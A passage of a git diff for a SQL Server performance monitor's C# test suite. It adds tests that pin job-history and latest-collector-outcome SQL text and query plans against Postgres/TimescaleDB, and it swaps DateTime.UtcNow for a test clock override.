             for (var i = 0; i < 500; i++)
@@ -667,7 +667,7 @@ private static async Task InsertServerPropertiesAsync(
             @"INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, utc_offset_minutes)
               VALUES ($1, $2, $3, $4, $5)", connection);
         command.Parameters.AddWithValue(4_477_000_000L + serverId);
-        command.Parameters.AddWithValue(DarlingMcpTestData.Naive(DateTime.UtcNow));
+        command.Parameters.AddWithValue(DarlingMcpTestData.Naive(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc)));
         command.Parameters.AddWithValue(serverId);
         command.Parameters.AddWithValue("srv" + serverId.ToString(CultureInfo.InvariantCulture));
         command.Parameters.AddWithValue(offsetMinutes);
diff --git a/Darling/Darling.Tests/JobHistorySqlTextPinTests.cs b/Darling/Darling.Tests/JobHistorySqlTextPinTests.cs
new file mode 100644
index 0000000000..eac6f3fbed
--- /dev/null
+++ b/Darling/Darling.Tests/JobHistorySqlTextPinTests.cs
@@ -0,0 +1,306 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The job-history statement moved from the viewer into Darling.Storage. These pins hold the no-filter text to a saved
+/// copy of the statement the viewer ran before the move, so the move cannot have changed the viewer's SQL, and pin the
+/// end-instant clauses to the filter that adds them.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class JobHistorySqlTextPinTests
+{
+    private static string Normalize(string sql) => Regex.Replace(sql, @"\s+", " ").Trim();
+
+    private const string ViewerFleetSql = """
+WITH svr AS (
+    SELECT DISTINCT ON (server_id)
+        server_id,
+        utc_offset_minutes
+    FROM server_properties
+    WHERE utc_offset_minutes IS NOT NULL
+    ORDER BY server_id, collection_time DESC
+),
+active_servers AS (
+    SELECT DISTINCT jh.server_id
+    FROM job_history AS jh
+    WHERE jh.collection_time >= $2
+    
+),
+server_offsets AS (
+    SELECT
+        a.server_id,
+        reg.display_name,
+        COALESCE(svr.utc_offset_minutes, 0) AS offset_minutes
+    FROM active_servers AS a
+    LEFT JOIN svr ON svr.server_id = a.server_id
+    LEFT JOIN servers AS reg ON reg.server_id = a.server_id
+),
+top_by_server AS (
+    SELECT
+        so.server_id,
+        COALESCE(so.display_name, top.server_name) AS server_name,
+        top.instance_id,
+        top.job_id,
+        top.job_name,
+        top.job_enabled,
+        top.category_name,
+        top.step_id,
+        top.step_name,
+        top.run_status,
+        top.run_status_desc,
+        top.run_datetime AS run_datetime_local,
+        top.run_datetime - make_interval(mins => so.offset_minutes) AS approx_run_utc,
+        top.run_duration_seconds,
+        top.retries_attempted,
+        top.message
+    FROM server_offsets AS so
+    CROSS JOIN LATERAL (
+        SELECT
+            jh.server_name,
+            jh.instance_id,
+            jh.job_id,
+            jh.job_name,
+            jh.job_enabled,
+            jh.category_name,
+            jh.step_id,
+            jh.step_name,
+            jh.run_status,
+            jh.run_status_desc,
+            jh.run_datetime,
+            jh.run_duration_seconds,
+            jh.retries_attempted,
+            jh.message
+        FROM job_history AS jh
+        WHERE jh.server_id = so.server_id
+        AND   jh.collection_time >= $2
+        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes) - interval '1 hour'
+        ORDER BY jh.run_datetime DESC, jh.instance_id DESC
+        LIMIT $3
+    ) AS top
+),
+base AS (
+    SELECT *
+    FROM top_by_server
+    ORDER BY approx_run_utc DESC, instance_id DESC
+    LIMIT $3
+),
+job_stats AS (
+    SELECT
+        so.server_id,
+        js.job_id,
+        js.avg_success_duration,
+        js.last_success_run_local
+    FROM (SELECT DISTINCT server_id FROM base) AS b
+    JOIN server_offsets AS so ON so.server_id = b.server_id
+    CROSS JOIN LATERAL (
+        SELECT
+            jh.job_id,
+            AVG(jh.run_duration_seconds) AS avg_success_duration,
+            MAX(jh.run_datetime) AS last_success_run_local
+        FROM job_history AS jh
+        WHERE jh.server_id = so.server_id
+        AND   jh.step_id = 0
+        AND   jh.run_status = 1
+        AND   jh.collection_time >= $2
+        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes)
+        AND   jh.job_id IN (SELECT job_id FROM base WHERE base.server_id = so.server_id)
+        GROUP BY jh.job_id
+    ) AS js
+)
+SELECT
+    base.server_id,
+    base.server_name,
+    base.instance_id,
+    base.job_id,
+    base.job_name,
+    base.job_enabled,
+    base.category_name,
+    base.step_id,
+    base.step_name,
+    base.run_status,
+    base.run_status_desc,
+    base.run_datetime_local,
+    base.run_duration_seconds,
+    base.retries_attempted,
+    base.message,
+    job_stats.last_success_run_local,
+    CASE
+        WHEN base.step_id = 0
+        AND  job_stats.avg_success_duration IS NOT NULL
+        AND  job_stats.avg_success_duration > 0
+        AND  base.run_duration_seconds > job_stats.avg_success_duration * 2
+        AND  base.run_duration_seconds > 60
+        THEN true
+        ELSE false
+    END AS is_long_running
+FROM base
+LEFT JOIN job_stats
+    ON  job_stats.server_id = base.server_id
+    AND job_stats.job_id = base.job_id
+ORDER BY base.approx_run_utc DESC, base.instance_id DESC
+""";
+
+    private const string ViewerServerSql = """
+WITH svr AS (
+    SELECT DISTINCT ON (server_id)
+        server_id,
+        utc_offset_minutes
+    FROM server_properties
+    WHERE utc_offset_minutes IS NOT NULL
+    ORDER BY server_id, collection_time DESC
+),
+active_servers AS (
+    SELECT DISTINCT jh.server_id
+    FROM job_history AS jh
+    WHERE jh.collection_time >= $3
+    AND   jh.server_id = $2
+),
+server_offsets AS (
+    SELECT
+        a.server_id,
+        reg.display_name,
+        COALESCE(svr.utc_offset_minutes, 0) AS offset_minutes
+    FROM active_servers AS a
+    LEFT JOIN svr ON svr.server_id = a.server_id
+    LEFT JOIN servers AS reg ON reg.server_id = a.server_id
+),
+top_by_server AS (
+    SELECT
+        so.server_id,
+        COALESCE(so.display_name, top.server_name) AS server_name,
+        top.instance_id,
+        top.job_id,
+        top.job_name,
+        top.job_enabled,
+        top.category_name,
+        top.step_id,
+        top.step_name,
+        top.run_status,
+        top.run_status_desc,
+        top.run_datetime AS run_datetime_local,
+        top.run_datetime - make_interval(mins => so.offset_minutes) AS approx_run_utc,
+        top.run_duration_seconds,
+        top.retries_attempted,
+        top.message
+    FROM server_offsets AS so
+    CROSS JOIN LATERAL (
+        SELECT
+            jh.server_name,
+            jh.instance_id,
+            jh.job_id,
+            jh.job_name,
+            jh.job_enabled,
+            jh.category_name,
+            jh.step_id,
+            jh.step_name,
+            jh.run_status,
+            jh.run_status_desc,
+            jh.run_datetime,
+            jh.run_duration_seconds,
+            jh.retries_attempted,
+            jh.message
+        FROM job_history AS jh
+        WHERE jh.server_id = so.server_id
+        AND   jh.collection_time >= $3
+        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes) - interval '1 hour'
+        ORDER BY jh.run_datetime DESC, jh.instance_id DESC
+        LIMIT $4
+    ) AS top
+),
+base AS (
+    SELECT *
+    FROM top_by_server
+    ORDER BY approx_run_utc DESC, instance_id DESC
+    LIMIT $4
+),
+job_stats AS (
+    SELECT
+        so.server_id,
+        js.job_id,
+        js.avg_success_duration,
+        js.last_success_run_local
+    FROM (SELECT DISTINCT server_id FROM base) AS b
+    JOIN server_offsets AS so ON so.server_id = b.server_id
+    CROSS JOIN LATERAL (
+        SELECT
+            jh.job_id,
+            AVG(jh.run_duration_seconds) AS avg_success_duration,
+            MAX(jh.run_datetime) AS last_success_run_local
+        FROM job_history AS jh
+        WHERE jh.server_id = so.server_id
+        AND   jh.step_id = 0
+        AND   jh.run_status = 1
+        AND   jh.collection_time >= $3
+        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes)
+        AND   jh.job_id IN (SELECT job_id FROM base WHERE base.server_id = so.server_id)
+        GROUP BY jh.job_id
+    ) AS js
+)
+SELECT
+    base.server_id,
+    base.server_name,
+    base.instance_id,
+    base.job_id,
+    base.job_name,
+    base.job_enabled,
+    base.category_name,
+    base.step_id,
+    base.step_name,
+    base.run_status,
+    base.run_status_desc,
+    base.run_datetime_local,
+    base.run_duration_seconds,
+    base.retries_attempted,
+    base.message,
+    job_stats.last_success_run_local,
+    CASE
+        WHEN base.step_id = 0
+        AND  job_stats.avg_success_duration IS NOT NULL
+        AND  job_stats.avg_success_duration > 0
+        AND  base.run_duration_seconds > job_stats.avg_success_duration * 2
+        AND  base.run_duration_seconds > 60
+        THEN true
+        ELSE false
+    END AS is_long_running
+FROM base
+LEFT JOIN job_stats
+    ON  job_stats.server_id = base.server_id
+    AND job_stats.job_id = base.job_id
+ORDER BY base.approx_run_utc DESC, base.instance_id DESC
+""";
+
+    [Fact]
+    public void NoFilter_FleetSql_EqualsTheViewersSavedStatement() =>
+        Assert.Equal(Normalize(ViewerFleetSql), Normalize(DarlingJobHistoryReader.BuildJobHistorySql(scopedToServer: false, filter: null)));
+
+    [Fact]
+    public void NoFilter_ServerSql_EqualsTheViewersSavedStatement() =>
+        Assert.Equal(Normalize(ViewerServerSql), Normalize(DarlingJobHistoryReader.BuildJobHistorySql(scopedToServer: true, filter: null)));
+
+    [Fact]
+    public void AnEmptyFilter_ChangesNothing() =>
+        Assert.Equal(DarlingJobHistoryReader.BuildJobHistorySql(false, null), DarlingJobHistoryReader.BuildJobHistorySql(false, new JobHistoryFilter()));
+
+    [Theory]
+    [InlineData(false, 4)]
+    [InlineData(true, 5)]
+    public void UntilUtc_BoundsTheNewestRunsAndTheStatsExactly(bool scoped, int firstParam)
+    {
+        var sql = DarlingJobHistoryReader.BuildJobHistorySql(scoped, new JobHistoryFilter(JobName: "x", UntilUtc: new System.DateTime(2026, 3, 11)));
+        var untilParam = "$" + (firstParam + 1).ToString(System.Globalization.CultureInfo.InvariantCulture);
+        Assert.Equal(2, Regex.Matches(sql, Regex.Escape($"jh.run_datetime <= {untilParam} + make_interval(mins => so.offset_minutes)")).Count);
+        Assert.DoesNotContain("+ interval '1 hour'", sql);
+        Assert.Equal(2, Regex.Matches(sql, Regex.Escape(untilParam + " + make_interval")).Count);
+    }
+}
diff --git a/Darling/Darling.Tests/JobHistoryWatermarkEpochLiveTests.cs b/Darling/Darling.Tests/JobHistoryWatermarkEpochLiveTests.cs
index 4e42f9a7f5..52ba044030 100644
--- a/Darling/Darling.Tests/JobHistoryWatermarkEpochLiveTests.cs
+++ b/Darling/Darling.Tests/JobHistoryWatermarkEpochLiveTests.cs
@@ -70,7 +70,7 @@ public sealed class JobHistoryWatermarkEpochLiveTests
     private static async Task<(DateTime? Watermark, bool WatermarkFromUtcColumn, long? NumericWatermark, long ServerWatermarkMs, bool WatermarkCacheEligible, bool ServerWatermarkDiscarded)> ResolveAsync<TRow>(
         DarlingCollectorRunner runner, ServerRuntime server, ICollectorDefinition<TRow> definition, CancellationToken ct)
     {
-        var probe = MakeContext(server, DateTime.UtcNow);
+        var probe = MakeContext(server, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
         var task = (Task)ResolveMethod.MakeGenericMethod(typeof(TRow)).Invoke(
             runner, new object?[] { server, definition, probe, null, ct })!;
         await task;
@@ -157,8 +157,8 @@ public async Task GetLastCollectedInstanceIdAsync_ReturnsTheNewestBatchsMax_NotT
         var bodySucceeded = false;
         try
         {
-            var oldEpochTime = DateTime.UtcNow.AddDays(-3);
-            var newEpochTime = DateTime.UtcNow.AddDays(-1); // outside the 6h bounded probe: unbounded fallback text
+            var oldEpochTime = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc).AddDays(-3);
+            var newEpochTime = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc).AddDays(-1); // outside the 6h bounded probe: unbounded fallback text
             await PlantBatchAsync(
                 connection, server.ServerId, server.StorageName, oldEpochTime, oldEpochTime,
                 Range(10_200_001, 10_200_040), ct);
@@ -209,8 +209,8 @@ public async Task GetLastCollectedInstanceIdAsync_ReturnsTheNewestBatchsMax_OnTh
         var bodySucceeded = false;
         try
         {
-            var oldEpochTime = DateTime.UtcNow.AddHours(-4); // inside the 6h bounded window too
-            var newEpochTime = DateTime.UtcNow.AddHours(-1); // inside the 6h bounded probe window
+            var oldEpochTime = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc).AddHours(-4); // inside the 6h bounded window too
+            var newEpochTime = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc).AddHours(-1); // inside the 6h bounded probe window
             await PlantBatchAsync(
                 connection, server.ServerId, server.StorageName, oldEpochTime, oldEpochTime,
                 Range(10_200_001, 10_200_040), ct);
@@ -271,7 +271,7 @@ public async Task ResolvedWatermarks_FeedTheFailbackQueryBound_FromTheStoredValu
         {
             // Batch A: the older epoch, planted first.
             var batchARunDateTime = new DateTime(2026, 9, 10, 0, 0, 0, DateTimeKind.Unspecified);
-            var batchACollectionTime = DateTime.UtcNow.AddDays(-2);
+            var batchACollectionTime = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc).AddDays(-2);
             await PlantBatchAsync(
                 connection, server.ServerId, server.StorageName, batchACollectionTime, batchARunDateTime,
                 Range(500, 520), ct);
@@ -279,7 +279,7 @@ await PlantBatchAsync(
             // Batch B: the newer epoch, planted second — its run_datetime spans 09-20 through 09-21, its
             // newest row (12) landing last so the newest instance_id and the newest run_datetime agree.
             var batchBNewestRunDateTime = new DateTime(2026, 9, 21, 0, 0, 0, DateTimeKind.Unspecified);
-            var batchBCollectionTime = DateTime.UtcNow.AddHours(-2);
+            var batchBCollectionTime = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc).AddHours(-2);
             await using (var earlier = new NpgsqlCommand(
                 "INSERT INTO collect.job_history " +
                 "(job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name, run_status, run_datetime) " +
@@ -327,7 +327,7 @@ await PlantBatchAsync(
             {
                 ServerId = server.ServerId,
                 ServerName = server.StorageName,
-                CollectionTime = DateTime.UtcNow,
+                CollectionTime = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc),
                 Deltas = new CollectorDeltaCalculator(),
                 Target = server.Target,
                 NumericWatermark = resolvedNumeric,
@@ -430,7 +430,7 @@ public async Task WriteBatchAsync_FailbackToAPriorEpoch_StoresZeroDuplicateNatur
         var bodySucceeded = false;
         try
         {
-            var now = DateTime.UtcNow;
+            var now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc);
 
             /* A1: epoch A, instance_id 500..520 (21 rows), run_datetime spread D-3d .. D-1d, collected
                3 days ago. AddTicks(7) plants sub-microsecond ticks on purpose (#4496): Windows'
@@ -528,7 +528,7 @@ public async Task WriteBatchAsync_ALongRunningStep_IsStoredOnce_AndDroppedOnRepl
         var bodySucceeded = false;
         try
         {
-            var now = DateTime.UtcNow;
+            var now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc);
             /* AddTicks(7) plants sub-microsecond ticks on purpose (#4496), same reason as the A→B→A
                pin above: the replay batch's re-delivered RunDateTime must be truncated to whole
                microseconds before it matches the stored, already-truncated key. */
@@ -593,7 +593,7 @@ public async Task WriteBatchAsync_ASameKeyRowWithADifferentJobIdOrStepId_IsStore
         var bodySucceeded = false;
         try
         {
-            var now = DateTime.UtcNow;
+            var now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc);
             var runDateTime = now.AddHours(-1);
             var storedRow = MakeRow(700, "job-x", 0, runDateTime);
             var context1 = MakeContext(server, now.AddHours(-1));
@@ -657,7 +657,7 @@ public async Task DropAlreadyStoredJobHistoryRowsAsync_Cost_OverThirtyDailyChunk
         var bodySucceeded = false;
         try
         {
-            var now = DateTime.UtcNow;
+            var now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc);
 
             /* 30 daily chunks, ~2,000 rows/day, one server. */
             for (var daysAgo = 29; daysAgo >= 0; daysAgo--)
diff --git a/Darling/Darling.Tests/LatestCollectorOutcomeOrderTests.cs b/Darling/Darling.Tests/LatestCollectorOutcomeOrderTests.cs
new file mode 100644
index 0000000000..566c671812
--- /dev/null
+++ b/Darling/Darling.Tests/LatestCollectorOutcomeOrderTests.cs
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4974: the latest-collector-outcome read must order by <c>collection_time DESC</c> first so the
+/// <c>idx_collection_log_watermark</c> index serves it from the newest chunk, with <c>log_id DESC</c> as the
+/// tie-break for two runs that share a timestamp. <c>collection_log</c> has no index on <c>log_id</c>, so a
+/// <c>log_id</c>-first order sorts every retained row for the pair. A revert returns the same row on a small
+/// store, so the order is pinned at the source, through the product's own read path, and in the plan
+/// (<see cref="LatestCollectorOutcomePlanTests"/>).
+/// </summary>
+public sealed class LatestCollectorOutcomeOrderShapeTests
+{
+    [Fact]
+    public void LatestCollectorOutcomeSql_OrdersByCollectionTimeFirst_ThenLogId()
+    {
+        var sql = Regex.Replace(DarlingRuntimePrecondition.LatestCollectorOutcomeSql, @"\s+", " ");
+
+        Assert.Contains("ORDER BY collection_time DESC, log_id DESC LIMIT 1", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("ORDER BY log_id", sql, StringComparison.Ordinal);
+    }
+}
+
+[Collection("live-postgres")]
+public sealed class LatestCollectorOutcomeOrderLiveTests
+{
+    private const int ServerId = -497400;
+    private const string ServerName = "latest-outcome-4974";
+    private const string Collector = "running_jobs";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task NewestRunByTimeWins_EvenWhenAnOlderChunkRowHasTheHigherLogId()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live latest-outcome test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+        var ok = false;
+        try
+        {
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            /* The newest run succeeded and holds the LOWER id; two older-chunk rows hold higher ids and say
+               PERMISSIONS. Time order answers "succeeded" (no precondition); id order would not. */
+            await SeedAsync(connection, ct, 100, now.AddMinutes(-1), "SUCCESS");
+            await SeedAsync(connection, ct, 200, now.AddDays(-60), "PERMISSIONS");
+            await SeedAsync(connection, ct, 300, now.AddDays(-120), "PERMISSIONS");
+
+            await using var postgres = NpgsqlDataSource.Create(cs!);
+            Assert.Null(await DarlingRuntimePrecondition.StatusAsync(postgres, ServerId, ServerName, Collector, ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, ok, DeleteAsync);
+        }
+    }
+
+    [Fact]
+    public async Task TwoRunsSharingATimestamp_TheHigherLogIdWins()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live latest-outcome test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+        var ok = false;
+        try
+        {
+            var tied = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow.AddMinutes(-2));
+            await SeedAsync(connection, ct, 100, tied.AddDays(-60), "SUCCESS");
+            await SeedAsync(connection, ct, 200, tied, "SUCCESS");
+            await SeedAsync(connection, ct, 300, tied, "PERMISSIONS");
+
+            await using var postgres = NpgsqlDataSource.Create(cs!);
+            var message = await DarlingRuntimePrecondition.StatusAsync(postgres, ServerId, ServerName, Collector, ct);
+            Assert.NotNull(message);
+
+            /* Swap the ids' insertion order, not just the statuses: here the higher id (300) is inserted FIRST,
+               so one half expects the tied row inserted first and the other the one inserted last, and no
+               physical order can pass both without the log_id tiebreak. */
+            await DeleteAsync(connection, ct);
+            await SeedAsync(connection, ct, 300, tied, "SUCCESS");
+            await SeedAsync(connection, ct, 200, tied, "PERMISSIONS");
+            Assert.Null(await DarlingRuntimePrecondition.StatusAsync(postgres, ServerId, ServerName, Collector, ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, ok, DeleteAsync);
+        }
+    }
+
+    private static Task SeedAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct, long logId, DateTime timeUtc, string status) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status)
+VALUES ($1, $2, $3, $4, $5, $6)",
+            logId, ServerId, ServerName, Collector, DarlingMcpTestData.Naive(timeUtc), status);
+
+    private static Task DeleteAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM collection_log WHERE server_id = $1", ServerId);
+}
diff --git a/Darling/Darling.Tests/LatestCollectorOutcomePlanTests.cs b/Darling/Darling.Tests/LatestCollectorOutcomePlanTests.cs
new file mode 100644
index 0000000000..ca1f0d33c9
--- /dev/null
+++ b/Darling/Darling.Tests/LatestCollectorOutcomePlanTests.cs
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4974: the latest-collector-outcome read is a chunk-orderable <c>LIMIT 1</c>. On a hypertable with several
+/// 1-day chunks it executes only the newest chunk for a collector that has a row there. A revert to
+/// <c>ORDER BY log_id DESC</c> (no index on <c>log_id</c>) executes every chunk.
+/// </summary>
+/* #1776 own-store: the test mints its own scratch database, so no other class's chunks shape the plan. */
+[Collection("live-postgres")]
+public sealed class LatestCollectorOutcomePlanTests
+{
+    private const int TestServerId = -497401;
+    private const string TestServerName = "latest-outcome-plan-4974";
+    private const string Collector = "running_jobs";
+
+    [Fact]
+    public async Task TheShippedRead_ExecutesOnlyTheNewestChunk_AgainstDevPostgres()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live latest-outcome access-path test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var connectionString = scratch.ConnectionString;
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await LiveTimescaleProbe.TryEnableAsync(connectionString!, ct);
+        Assert.SkipUnless(timescaleEnabled, "TimescaleDB is not available on this instance; the chunk walk cannot be asserted.");
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        /* No background policy job reshapes the chunks under the plan assertion. */
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        var utcNow = LiveClock.Now();
+        await SeedHistoryAsync(connection, utcNow, ct);
+
+        using (var analyze = new NpgsqlCommand("ANALYZE collect.collection_log", connection))
+        {
+            await analyze.ExecuteNonQueryAsync(ct);
+        }
+
+        var plan = await ExplainShippedReadAsync(connection, ct);
+        using (var chunkCount = new NpgsqlCommand("SELECT count(*) FROM show_chunks('collect.collection_log')", connection))
+        {
+            var chunks = Convert.ToInt32(await chunkCount.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+            Assert.True(chunks == 8, "expected the seed to make exactly eight 1-day chunks, got " + chunks + ":\n" + plan);
+        }
+
+        var lines = plan.Split('\n');
+        var chunkScans = lines.Where(PlanChunkScans.IsChunkScan).ToList();
+        var visited = lines
+            .Select(l => Regex.Match(l, @"Chunks Visited: (\d+)"))
+            .Where(m => m.Success)
+            .Select(m => int.Parse(m.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture))
+            .ToList();
+        if (visited.Count > 0)
+        {
+            /* TimescaleDB 2.30+: DeferredChunkAppend lists only the chunks it visited and counts them. */
+            Assert.True(visited.Count == 1 && visited[0] == 1,
+                "expected the deferred chunk append to visit exactly the newest chunk:\n" + plan);
+        }
+        else
+        {
+            Assert.True(chunkScans.Count >= 8,
+                "expected the plan to carry a chunk scan per seeded day:\n" + plan);
+        }
+
+        var executed = chunkScans.Where(l => !l.Contains("never executed", StringComparison.Ordinal)).ToList();
+        Assert.True(executed.Count <= 1,
+            "more than one chunk executed: the read is walking history again:\n" + plan);
+
+        /* And the product's own read answers: the newest run succeeded, so no precondition. */
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        Assert.Null(await DarlingRuntimePrecondition.StatusAsync(postgres, TestServerId, TestServerName, Collector, ct));
+    }
+
+    /// <summary>
+    /// Eight 1-day chunks aligned to the UTC day: one collector every five minutes from 00:00 eight days ago to 23:55
+    /// yesterday. Every chunk is in the past, the newest is yesterday's with 288 rows, at any time of day. The ids
+    /// follow time order.
+    /// </summary>
+    private static async Task SeedHistoryAsync(NpgsqlConnection connection, DateTime utcNow, CancellationToken ct)
+    {
+        using var insert = new NpgsqlCommand(
+            "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) " +
+            "SELECT 9_000_000_000 + EXTRACT(EPOCH FROM t)::bigint, $1, $2, $3, t, 20, 'SUCCESS', 0 " +
+            "FROM generate_series($4::timestamp, $4::timestamp + interval '8 days' - interval '5 minutes', interval '5 minutes') AS t", connection);
+        insert.Parameters.AddWithValue(TestServerId);
+        insert.Parameters.AddWithValue(TestServerName);
+        insert.Parameters.AddWithValue(Collector);
+        insert.Parameters.AddWithValue(utcNow.Date.AddDays(-8));
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string> ExplainShippedReadAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var explain = new NpgsqlCommand(
+            "EXPLAIN (ANALYZE, COSTS OFF, TIMING OFF, SUMMARY OFF) " + DarlingRuntimePrecondition.LatestCollectorOutcomeSql, connection);
+        explain.Parameters.AddWithValue(TestServerId);
+        explain.Parameters.AddWithValue(Collector);
+        var plan = new StringBuilder();
+        using var reader = await explain.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            plan.AppendLine(reader.GetString(0));
+        }
+
+        return plan.ToString();
+    }
+}
diff --git a/Darling/Darling.Tests/LatestCpuReadShapeTests.cs b/Darling/Darling.Tests/LatestCpuReadShapeTests.cs
index ca58d651ac..bb27a5ef3f 100644
--- a/Darling/Darling.Tests/LatestCpuReadShapeTests.cs
+++ b/Darling/Darling.Tests/LatestCpuReadShapeTests.cs
@@ -339,7 +339,7 @@ public async Task LatestCpuRead_ReturnsTheOracleRow_AtEveryUtcOffset_AgainstDevP
             /* Three polls per server one minute apart, each carrying one new ring-buffer sample: the steady
                state at the collector's one-minute frequency. The CPU values carry the poll ordinal so the row
                that comes back is identifiable rather than merely equal to the oracle's. */
-            var newestUtc = TruncateToSeconds(DateTime.UtcNow);
+            var newestUtc = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             for (var i = 0; i < s_offsetMinutes.Length; i++)
             {
                 for (var poll = 0; poll < 3; poll++)
@@ -398,6 +398,8 @@ public async Task TheSampleTimePredicate_LosesEveryServerBehindTheStoresClock_Ag
         {
             await DeleteSentinelsAsync(connection, cancellationToken);
 
+            /* The trap predicate compares against the store's own now(), which the test clock override cannot move (#5608),
+               so this seed stays on the real clock. */
             var newestUtc = TruncateToSeconds(DateTime.UtcNow);
 
             /* One server behind the store by more than the window, one in the store's own frame. */
@@ -445,7 +447,7 @@ public async Task LatestCpuRead_PicksTheNewestSampleInsideOneBatch_AgainstDevPos
             /* One poll catching up on a ring-buffer backlog: thirty samples under ONE collection_time. They
                go in NEWEST-sample-first, so heap order runs opposite to sample order and a scan of the tied
                group hands back the OLDEST sample unless the tiebreak sorts it. */
-            var collectionTime = TruncateToSeconds(DateTime.UtcNow);
+            var collectionTime = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             for (var minutesAgo = 0; minutesAgo < 30; minutesAgo++)
             {
                 await InsertSampleAsync(
diff --git a/Darling/Darling.Tests/LatestValueLookbackTests.cs b/Darling/Darling.Tests/LatestValueLookbackTests.cs
index a07d0fad57..e4bf05c065 100644
--- a/Darling/Darling.Tests/LatestValueLookbackTests.cs
+++ b/Darling/Darling.Tests/LatestValueLookbackTests.cs
@@ -44,6 +44,7 @@ namespace Darling.Tests;
 /// small enough for a test, and a ghost looks like data — so the shape is pinned on the text, the Lite twin is
 /// pinned to the same text, and the gated arm seeds ghosts and asks the planner.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LatestValueLookbackSqlTests
 {
